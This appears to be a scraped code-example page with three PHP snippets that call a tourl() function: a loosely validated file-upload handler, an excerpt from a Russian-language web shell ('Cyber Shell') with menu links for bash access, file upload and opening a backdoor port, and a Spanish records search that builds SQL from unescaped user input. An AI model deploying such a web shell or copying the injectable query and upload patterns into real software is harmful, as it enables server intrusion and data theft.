PHP tourl示例

示例#1

文件： uploadA.php 项目： sg-first/YMmd-Blog

function upload()
{
    if ($_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "text/plain" && $_FILES["file"]["size"] < 10485760) {
        if ($_FILES["file"]["error"] > 0) {
            alert("文件错误");
            tourl("upload.php");
        } else {
            if (file_exists("upload/" . $_FILES["file"]["name"])) {
                alert("文件已经存在");
                tourl("upload.php");
            } else {
                move_uploaded_file($_FILES["file"]["tmp_name"], "jpurnal/" . $_FILES["file"]["name"]);
                //文件存储在journal文件夹中
                alert("上传成功");
            }
        }
    } else {
        alert("文件类型不支持");
        tourl("upload.php");
    }
}

示例#2

文件： Cyber Shell.php 项目： wucaishi/WebShell-1

  <option value="0">&#1055;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100; &#1074;&#1089;&#1105;</option>
  <option value="10">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 10</option>
  <option value="20">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 20</option>
  <option value="30">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 30</option>
  <option value="50">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 50</option>
  <option value="100">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 100</option>
  <option value="200">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 200</option>
  <option value="500">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 500</option>
  <option value="1000">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 1000</option>
  <option value="5000">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 5000</option>
</select>
<br>Включить ограничение на длину выводимых полей <input name="xlenth" type="checkbox" value="on" {$ch}><br>
<input type="submit"  value="Применить" >
EOF;
        if (isset($_SESSION[limit]) and $_SESSION[limit] !== "0") {
            echo "<br>Текущее ограничение: {$_SESSION['limit']}";
        }
    }
    if (isset($tools) or isset($tmysql)) {
        echo "\n<center>\n<table width='505' border='0' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCCC'>\n<tr height='10'>\n<td align='center' bordercolor='#ECE9D8' bgcolor='#FFF8FF'>\n.: MySQL :.\n</td>\n</tr height='10'>\n<tr>\n<td align='center' bordercolor='#ECE9D8' bgcolor='#FFFFFF'>\n<form name='zapros' method='get' action=''>\n<table width='505' border='0' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>\n<tr align='center' >\n<td>\nHost\n</td>\n<td>\n<input name='db_server' type='text' value='localhost'>\n</td>\n</tr>\n<tr align='center' >\n<td>\nLogin MySQL\n</td> \n<td>\n<input type='text' name='db_user' value=''> \n</tr>\n<tr align='center' >\n<td>\nPassword MySQL\n</td> \n<td>\n<input type='text' name='db_pass' value=''>\n<input type='hidden' name='showdb'>\n</td> \n</tr>\n<tr align='center' >\n<td>\nИмя БД (не обязательно)\n</td> \n<td>\n<input type='text' name='showtables' value=''>\n</td> \n</tr>\n<tr align='center' >\n<td>\n<input type='submit'>\n</td>\n<td>\n<input type='reset'>\n</td>\n</tr>\n</table>\n</form>\n</td>\n</tr>\n</table>\n</center>\n";
    }
    echo <<<EOF
<center>.:Cyber Shell (v 1.0):.<br>Copyright © <a href="http://www.cyberlords.net" target="_blank">Cyber Lords Community</a>, 2002-2006</center>
</td>
</tr>
</table>
EOF;
    $d = tourl($d);
    echo "\n<center>\n<span class='style1'>\n<a href={$PHP_SELF}?d={$d}&diz&tmkdir>.: Создать папку :.</a>\n<a href={$PHP_SELF}?d={$d}&diz&tmkfile>.: Создать файл :.</a>\n<a href={$PHP_SELF}?d={$d}&diz&tbackdoor>.: Открыть порт для подключения :.</a><br>\n<a href={$PHP_SELF}?d={$d}&diz&tbash>.: Bash :.</a>\n<a href={$PHP_SELF}?d={$d}&diz&tupload>.: Закачать файл :.</a>\n</span>\n</center>\n";
}
die;

示例#3

文件： busqueda2.php 项目： BackupTheBerlios/comeet-svn

function OtrasEmpresas_show()
{
    //-------------------------------
    // Initialize variables
    //-------------------------------
    global $db;
    global $sRADICADOErr;
    global $sFileName;
    global $styles;
    $sWhere = "";
    $sOrder = "";
    $sSQL = "";
    $sFormTitle = "Radicados encontrados por Otras Empresas";
    $HasParam = false;
    $iRecordsPerPage = 25;
    $iCounter = 0;
    $iPage = 0;
    $bEof = false;
    $iSort = "";
    $iSorted = "";
    $sDirection = "";
    $sSortParams = "";
    $iTmpI = 0;
    $iTmpJ = 0;
    $sCountSQL = "";
    $transit_params = "";
    $form_params = trim(session_name()) . "=" . trim(session_id()) . "&krd={$krd}&s_RADI_DEPE_ACTU=" . tourl(get_param("s_RADI_DEPE_ACTU")) . "&s_RADI_NOMB=" . tourl(get_param("s_RADI_NOMB")) . "&s_RADI_NUME_RADI=" . tourl(get_param("s_RADI_NUME_RADI")) . "&s_TDOC_CODI=" . tourl(get_param("s_TDOC_CODI")) . "&s_desde_dia=" . tourl(get_param("s_desde_dia")) . "&s_desde_mes=" . tourl(get_param("s_desde_mes")) . "&s_desde_ano=" . tourl(get_param("s_desde_ano")) . "&s_hasta_dia=" . tourl(get_param("s_hasta_dia")) . "&s_hasta_mes=" . tourl(get_param("s_hasta_mes")) . "&s_hasta_ano=" . tourl(get_param("s_hasta_ano")) . "&s_solo_nomb=" . tourl(get_param("s_solo_nomb")) . "&s_ciudadano=" . tourl(get_param("s_ciudadano")) . "&s_empresaESP=" . tourl(get_param("s_empresaESP")) . "&s_oEmpresa=" . tourl(get_param("s_oEmpresa")) . "&s_entrada=" . tourl(get_param("s_entrada")) . "&s_salida=" . tourl(get_param("s_salida")) . "&";
    //-------------------------------
    // Build ORDER BY statement
    //-------------------------------
    $sOrder = " order by R.RADI_NUME_RADI Asc";
    $iSort = get_param("FormOEMPRESAS_Sorting");
    $iSorted = get_param("FormOEMPRESAS_Sorted");
    $krd = strip(get_param("krd"));
    if (!$iSort) {
        $form_sorting = "";
    } else {
        if ($iSort == $iSorted) {
            $form_sorting = "";
            $sDirection = " DESC ";
            $sSortParams = "FormOEMPRESAS_Sorting=" . $iSort . "&FormOEMPRESAS_Sorted=" . $iSort . "&";
        } else {
            $form_sorting = $iSort;
            $sDirection = " ASC ";
            $sSortParams = "FormOEMPRESAS_Sorting=" . $iSort . "&FormOEMPRESAS_Sorted=" . "&";
        }
        if ($iSort == 1) {
            $sOrder = " order by r.radi_nume_radi" . $sDirection;
        }
        if ($iSort == 2) {
            $sOrder = " order by r.radi_fech_radi" . $sDirection;
        }
        if ($iSort == 3) {
            $sOrder = " order by r.ra_asun" . $sDirection;
        }
        if ($iSort == 4) {
            $sOrder = " order by td.sgd_tpr_descrip" . $sDirection;
        }
        if ($iSort == 5) {
            $sOrder = " order by r.radi_nume_hoja" . $sDirection;
        }
        if ($iSort == 6) {
            $sOrder = " order by dir.sgd_dir_direccion" . $sDirection;
        }
        if ($iSort == 7) {
            $sOrder = " order by dir.sgd_dir_telefono" . $sDirection;
        }
        if ($iSort == 8) {
            $sOrder = " order by dir.sgd_dir_mail" . $sDirection;
        }
        if ($iSort == 9) {
            $sOrder = " order by o.sgd_oem_oempresa" . $sDirection;
        }
        if ($iSort == 10) {
            $sOrder = " order by o.sgd_oem_rep_legal" . $sDirection;
        }
        if ($iSort == 11) {
            $sOrder = " order by o.sgd_oem_nit" . $sDirection;
        }
        if ($iSort == 12) {
            $sOrder = " order by o.sgd_oem_sigla" . $sDirection;
        }
        if ($iSort == 13) {
            $sOrder = " order by o.sgd_oem_direccion" . $sDirection;
        }
        if ($iSort == 14) {
            $sOrder = " order by o.sgd_oem_telefono" . $sDirection;
        }
        if ($iSort == 15) {
            $sOrder = " order by u1.usua_nomb" . $sDirection;
        }
        if ($iSort == 16) {
            $sOrder = " order by d1.depe_nomb" . $sDirection;
        }
        if ($iSort == 17) {
            $sOrder = " order by r.radi_usu_ante" . $sDirection;
        }
        //    if ($iSort == 18) $sOrder = " order by muni.muni_nomb" . $sDirection;
        //    if ($iSort == 19) $sOrder = " order by dpto.dpto_nomb" . $sDirection;
        if ($iSort == 20) {
            $sOrder = " order by r.radi_pais" . $sDirection;
        }
        if ($iSort == 21) {
            $sOrder = " order by diasr" . $sDirection;
        }
        if ($iSort == 22) {
            $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
        }
    }
    //-------------------------------
    // Encabezados HTML de las Columnas
    //-------------------------------
    ?>
     <table width="2000" class="FormTABLE">
      <tr>
       <td class="FormHeaderTD" colspan="20"><a name="RADICADO"><font class="FormHeaderFONT"><?php 
    echo $sFormTitle;
    ?>
</font></a></td>
      </tr>
      <tr>
	   <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=1&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Radicado</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=2&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Fecha Radicación</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=3&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Asunto</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=4&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Tipo de Documento</font></a></td>	   
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=5&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Numero de Hojas</font></a></td>	   
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=6&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Direccion contacto</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=7&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Teléfono contacto</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=8&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Mail Contacto</font></a></td>
	   <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=9&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Nombre de la Empresa</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=10&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Representante Legal</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=11&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">NIT</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=12&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Sigla</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=13&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Direccion Empresa</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=14&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Telefono</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=15&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Usuario Actual</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=16&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Dependencia Actual</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=17&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Usuario Anterior</font></a></td>
	   <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=22&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Firmante</font></a></td>
	   <!--td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=18&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Municipio</font></a></td>
	   <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=19&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Departamento</font></a></td-->
	   <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=20&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Pais</font></a></td>
  	   <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormOEMPRESAS_Sorting=21&FormOEMPRESAS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Dias Restantes</font></a></td>
      </tr>
<?php 
    //-------------------------------
    // Build WHERE statement
    //-------------------------------
    // Se crea la $ps_desde_RADI_FECH_RADI con los datos ingresados.
    //------------------------------------
    $ps_desde_RADI_FECH_RADI = Date('d/m/Y H:i:s', mktime(0, 0, 0, get_param("s_desde_mes"), get_param("s_desde_dia"), get_param("s_desde_ano")));
    $ps_hasta_RADI_FECH_RADI = Date('d/m/Y H:i:s', mktime(23, 59, 59, get_param("s_hasta_mes"), get_param("s_hasta_dia"), get_param("s_hasta_ano")));
    if (strlen($ps_desde_RADI_FECH_RADI) && strlen($ps_hasta_RADI_FECH_RADI)) {
        $HasParam = true;
        $sWhere = $sWhere . "r.radi_fech_radi>=to_date('" . $ps_desde_RADI_FECH_RADI . "','dd/mm/yyyy hh24:mi:ss')";
        $sWhere .= " and ";
        $sWhere = $sWhere . "r.radi_fech_radi<=to_date('" . $ps_hasta_RADI_FECH_RADI . "','dd/mm/yyyy hh24:mi:ss')";
    }
    /* Se recibe la dependencia actual para búsqueda */
    $ps_RADI_DEPE_ACTU = get_param("s_RADI_DEPE_ACTU");
    if (is_number($ps_RADI_DEPE_ACTU) && strlen($ps_RADI_DEPE_ACTU)) {
        $ps_RADI_DEPE_ACTU = tosql($ps_RADI_DEPE_ACTU, "Number");
    } else {
        $ps_RADI_DEPE_ACTU = "";
    }
    if (strlen($ps_RADI_DEPE_ACTU)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "r.radi_depe_actu=" . $ps_RADI_DEPE_ACTU;
    }
    /* Se recibe el número del radicado para búsqueda */
    $ps_RADI_NUME_RADI = get_param("s_RADI_NUME_RADI");
    if (strlen($ps_RADI_NUME_RADI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "r.radi_nume_radi like " . tosql("%" . $ps_RADI_NUME_RADI . "%", "Text");
    }
    /* Se decide si busca en radicado de entrada o de salida o ambos */
    $ps_entrada = strip(get_param("s_entrada"));
    if (strlen($ps_entrada) && ($ps_entrada = "ENT")) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "r.radi_nume_radi like " . tosql("%2", "Text");
    }
    $ps_salida = strip(get_param("s_salida"));
    if (strlen($ps_salida) && ($ps_salida = "SAL")) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "r.radi_nume_radi like " . tosql("%1", "Text");
    }
    /* Se recibe el tipo de documento para la búsqueda */
    $ps_TDOC_CODI = get_param("s_TDOC_CODI");
    if (is_number($ps_TDOC_CODI) && strlen($ps_TDOC_CODI) && $ps_TDOC_CODI != "9999") {
        $ps_TDOC_CODI = tosql($ps_TDOC_CODI, "Number");
    } else {
        $ps_TDOC_CODI = "";
    }
    if (strlen($ps_TDOC_CODI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "r.tdoc_codi=" . $ps_TDOC_CODI;
    }
    /* Se recibe la caadena a buscar y el tipo de busqueda (All) (Any)  
     bod.nombre_de_la_empresa,bod.nombre_rep_legal,bod.nit_de_la_empresa,bod.sigla_de_la_empresa,bod.direccion,bod.telefono_1,bod.telefono_2,bod.telefono_3,
    */
    $ps_RADI_NOMB = strip(get_param("s_RADI_NOMB"));
    $ps_solo_nomb = get_param("s_solo_nomb");
    $yaentro = false;
    if (strlen($ps_RADI_NOMB) && $ps_solo_nomb == "All") {
        if ($sWhere != "") {
            $sWhere .= " and (";
        }
        $HasParam = true;
        $sWhere .= "dir.sgd_oem_codigo IN (SELECT sgd_oem_codigo FROM sgd_oem_oempresas d WHERE ";
        $ps_RADI_NOMB = strtoupper($ps_RADI_NOMB);
        $tok = strtok($ps_RADI_NOMB, " ");
        while ($tok) {
            if ($yaentro == true) {
                $sWhere .= " and ";
            }
            $sWhere .= "UPPER(d.sgd_oem_oempresa||d.sgd_oem_rep_legal||d.sgd_oem_nit||d.sgd_oem_sigla||d.sgd_oem_direccion||d.sgd_oem_telefono) LIKE '%" . $tok . "%' ";
            $tok = strtok(" ");
            $yaentro = true;
        }
        $sWhere .= ")";
        $sWhere .= " or (";
        $yaentro = false;
        $tok = strtok($ps_RADI_NOMB, " ");
        while ($tok) {
            if ($yaentro == true) {
                $sWhere .= " and ";
            }
            $sWhere .= "UPPER(r.ra_asun||dir.sgd_dir_nombre) LIKE '%" . $tok . "%' ";
            $tok = strtok(" ");
            $yaentro = true;
        }
        $sWhere .= "))";
    }
    if (strlen($ps_RADI_NOMB) && $ps_solo_nomb == "Any") {
        if ($sWhere != "") {
            $sWhere .= " and (";
        }
        $HasParam = true;
        $sWhere .= "dir.sgd_oem_codigo IN (SELECT sgd_oem_codigo FROM sgd_oem_oempresas d WHERE ";
        $ps_RADI_NOMB = strtoupper($ps_RADI_NOMB);
        $tok = strtok($ps_RADI_NOMB, " ");
        while ($tok) {
            if ($yaentro == true) {
                $sWhere .= " or ";
            }
            $sWhere .= "UPPER(d.sgd_oem_oempresa||d.sgd_oem_rep_legal||d.sgd_oem_nit||d.sgd_oem_sigla||d.sgd_oem_direccion||d.sgd_oem_telefono) LIKE '%" . $tok . "%' ";
            $tok = strtok(" ");
            $yaentro = true;
        }
        $sWhere .= ")";
        $sWhere .= " or (";
        $yaentro = false;
        $tok = strtok($ps_RADI_NOMB, " ");
        while ($tok) {
            if ($yaentro == true) {
                $sWhere .= " or ";
            }
            $sWhere .= "UPPER(r.ra_asun||dir.sgd_dir_nombre) LIKE '%" . $tok . "%' ";
            $tok = strtok(" ");
            $yaentro = true;
        }
        $sWhere .= "))";
    }
    if ($HasParam) {
        $sWhere = " AND (" . $sWhere . ") ";
    }
    //-------------------------------
    // Build base SQL statement
    //-------------------------------
    $sSQL = "SELECT r.radi_nume_radi, r.radi_fech_radi, r.ra_asun,r.radi_pais, r.radi_nume_hoja, \nr.radi_path, r.radi_usu_ante,\ntd.sgd_tpr_descrip, ROUND(((r.radi_fech_radi+(td.sgd_tpr_termino * 7/5))-SYSDATE)) AS diasr, \nu1.usua_login AS login_actu, u1.usua_nomb AS nomb_actu, d1.depe_nomb AS depe_actu,\ndir.sgd_dir_direccion, dir.sgd_dir_telefono, dir.sgd_dir_mail,dir.sgd_dir_nombre,\no.sgd_oem_oempresa,o.sgd_oem_rep_legal,o.sgd_oem_nit, o.sgd_oem_sigla,o.sgd_oem_direccion,o.sgd_oem_telefono\nFROM sgd_dir_drecciones dir, radicado r, sgd_tpr_tpdcumento td, usuario u1, dependencia d1, \nsgd_oem_oempresas o\nWHERE dir.SGD_DIR_TIPO = 1 AND dir.radi_nume_radi=r.radi_nume_radi AND r.tdoc_codi=td.sgd_tpr_codigo\nAND r.radi_usua_actu=u1.usua_codi AND r.radi_depe_actu=u1.depe_codi AND u1.depe_codi=d1.depe_codi\nAND (dir.sgd_oem_codigo=o.sgd_oem_codigo AND NVL(dir.sgd_oem_codigo,0)!=0 AND NVL(dir.sgd_ciu_codigo,0)=0 AND NVL(dir.sgd_esp_codi,0)=0) \n";
    //-------------------------------
    //-------------------------------
    // Assemble full SQL statement
    //-------------------------------
    $sSQL .= $sWhere . $sOrder;
    //-------------------------------
    // Execute SQL statement
    //-------------------------------
    $db->query($sSQL);
    $next_record = $db->next_record();
    //-------------------------------
    // Process empty recordset
    //-------------------------------
    if (!$next_record) {
        ?>
     <tr>
      <td colspan="20" class="DataTD"><font class="DataFONT">No hay resultados</font></td>
     </tr>
<?php 
        //-------------------------------
        //  The insert link.
        //-------------------------------
        ?>
    <tr>
     <td colspan="20" class="ColumnTD"><font class="ColumnFONT">
<?php 
        ?>
  </table>
<?php 
        return;
    }
    //-------------------------------
    ?>
     <!--tr>
      <td colspan="10" class="DataTD"><font class="DataFONT"><b>Total Registros Encontrados: <?php 
    echo $fldTotal;
    ?>
</b></font></td>
     </tr-->

<?php 
    //-------------------------------
    // Initialize page counter and records per page
    //-------------------------------
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
    // Process page scroller
    //-------------------------------
    $iPage = get_param("FormOEMPRESAS_Page");
    if (!strlen($iPage)) {
        $iPage = 1;
    } else {
        if ($iPage == "last") {
            $db_count = get_db_value($sCountSQL);
            $dResult = intval($db_count) / $iRecordsPerPage;
            $iPage = intval($dResult);
            if ($iPage < $dResult) {
                $iPage++;
            }
        } else {
            $iPage = intval($iPage);
        }
    }
    if (($iPage - 1) * $iRecordsPerPage != 0) {
        do {
            $iCounter++;
        } while ($iCounter < ($iPage - 1) * $iRecordsPerPage && $db->next_record());
        $next_record = $db->next_record();
    }
    $iCounter = 0;
    //-------------------------------
    //$ruta_raiz ="..";
    //include "../config.php";
    //include "../jh_class/funciones_sgd.php";
    //-------------------------------
    // Display grid based on recordset
    //-------------------------------.
    while ($next_record && $iCounter < $iRecordsPerPage) {
        //-------------------------------
        // Create field variables based on database fields
        //-------------------------------
        $fldRADI_NUME_RADI = $db->f("RADI_NUME_RADI");
        $fldRADI_FECH_RADI = $db->f("RADI_FECH_RADI");
        $fldASUNTO = $db->f("RA_ASUN");
        $fldTIPO_DOC = $db->f("SGD_TPR_DESCRIP");
        $fldNUME_HOJAS = $db->f("RADI_NUME_HOJA");
        $fldRADI_PATH = $db->f("RADI_PATH");
        $fldDIRECCION_C = $db->f("SGD_DIR_DIRECCION");
        $fldTELEFONO_C = $db->f("SGD_DIR_TELEFONO");
        $fldMAIL_C = $db->f("SGD_DIR_MAIL");
        $fldNOMBRE_EMPRESA = $db->f("SGD_OEM_OEMPRESA");
        $fldREP_LEGAL = $db->f("SGD_OEM_REP_LEGAL");
        $fldNIT_EMPRESA = $db->f("SGD_OEM_NIT");
        $fldSIGLA_EMPRESA = $db->f("SGD_OEM_SIGLA");
        $fldDIRECCION = $db->f("SGD_OEM_DIRECCION");
        $fldTELEFONO = $db->f("SGD_OEM_TELEFONO");
        $fldUSUA_ACTU = $db->f("NOMB_ACTU") . " - (" . $db->f("LOGIN_ACTU") . ")";
        $fldDEPE_ACTU = $db->f("DEPE_ACTU");
        $fldUSUA_ANTE = $db->f("RADI_USU_ANTE");
        //    $fldMUNI_NOMB = $db->f("MUNI_NOMB");
        //    $fldDPTO_NOMB = $db->f("DPTO_NOMB");
        $fldPAIS = $db->f("RADI_PAIS");
        $fldDIASR = $db->f("DIASR");
        $fldFirmante = $db->f("sgd_dir_nombre");
        $next_record = $db->next_record();
        //-------------------------------
        // Show begin
        //-------------------------------
        //-------------------------------
        // Process the HTML controls
        //-------------------------------
        ?>
      <tr>
       <td class="DataTD"><font class="DataFONT">
	  <?php 
        if (strlen($fldRADI_PATH)) {
            $iii = $iii + 1;
            ?>
  <a href='../bodega<?php 
            echo $fldRADI_PATH;
            ?>
' target='Imagen<?php 
            echo $iii;
            ?>
'><?php 
        }
        ?>
	   <font class="DataFONT"><?php 
        echo $fldRADI_NUME_RADI;
        ?>
</font>
	  <?php 
        if (strlen($fldRADI_PATH)) {
            ?>
</a><?php 
        }
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT"><a href="../verradicado.php?verrad=<?php 
        echo $fldRADI_NUME_RADI . "&" . session_name() . "=" . session_id() . "&krd={$krd}&carpeta=8&nomcarpeta=Busquedas&tipo_carp=0";
        ?>
">
      <?php 
        echo tohtml($fldRADI_FECH_RADI);
        ?>
&nbsp;</a></font></td>
	   <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldASUNTO);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldTIPO_DOC);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldNUME_HOJAS);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldDIRECCION_C);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldTELEFONO_C);
        ?>
&nbsp;</font></td>
	   <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldMAIL_C);
        ?>
&nbsp;</font></td>
	   <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldNOMBRE_EMPRESA);
        ?>
&nbsp;</font></td>
	   <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldREP_LEGAL);
        ?>
&nbsp;</font></td>
	   <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldNIT_EMPRESA);
        ?>
&nbsp;</font></td>
	   <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldSIGLA_EMPRESA);
        ?>
&nbsp;</font></td>
	   <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldDIRECCION);
        ?>
&nbsp;</font></td>
	   <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldTELEFONO);
        ?>
&nbsp;</font></td>
	   <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldUSUA_ACTU);
        ?>
&nbsp;</font></td>
	   <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldDEPE_ACTU);
        ?>
&nbsp;</font></td>
	   <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldUSUA_ANTE);
        ?>
&nbsp;</font></td>
	   <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldFirmante);
        ?>
&nbsp;</font></td>
       <!--td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldMUNI_NOMB);
        ?>
&nbsp;</font></td>	  
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldDPTO_NOMB);
        ?>
&nbsp;</font></td--> 
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldPAIS);
        ?>
&nbsp;</font></td>	  
      <td class="DataTD"><font class="DataFONT">
      <?php 
        if ($fldRADI_DEPE_ACTU != 999) {
            echo tohtml($fldDIASR);
        } else {
            echo "Sal";
        }
        ?>
&nbsp;</font></td>	  
     </tr>
	  <?php 
        $iCounter++;
    }
    //-------------------------------
    //  Record navigator.
    //-------------------------------
    ?>
    <tr>
     <td colspan="20" class="ColumnTD"><font class="ColumnFONT">
<?php 
    // Navigation begin
    $bEof = $next_record;
    if ($bEof || $iPage != 1) {
        $iCounter = 1;
        $iHasPages = $iPage;
        $sPages = "";
        $iDisplayPages = 0;
        $iNumberOfPages = 30;
        /* El número de páginas que aparecerán en el navegador al pie de la página */
        while ($next_record && $iHasPages < $iPage + $iNumberOfPages) {
            if ($iCounter == $iRecordsPerPage) {
                $iCounter = 0;
                $iHasPages = $iHasPages + 1;
            }
            $iCounter++;
            $next_record = $db->next_record();
        }
        if (!$next_record && $iCounter > 1) {
            $iHasPages++;
        }
        if ($iHasPages - $iPage < intval($iNumberOfPages / 2)) {
            $iStartPage = $iHasPages - $iNumberOfPages;
        } else {
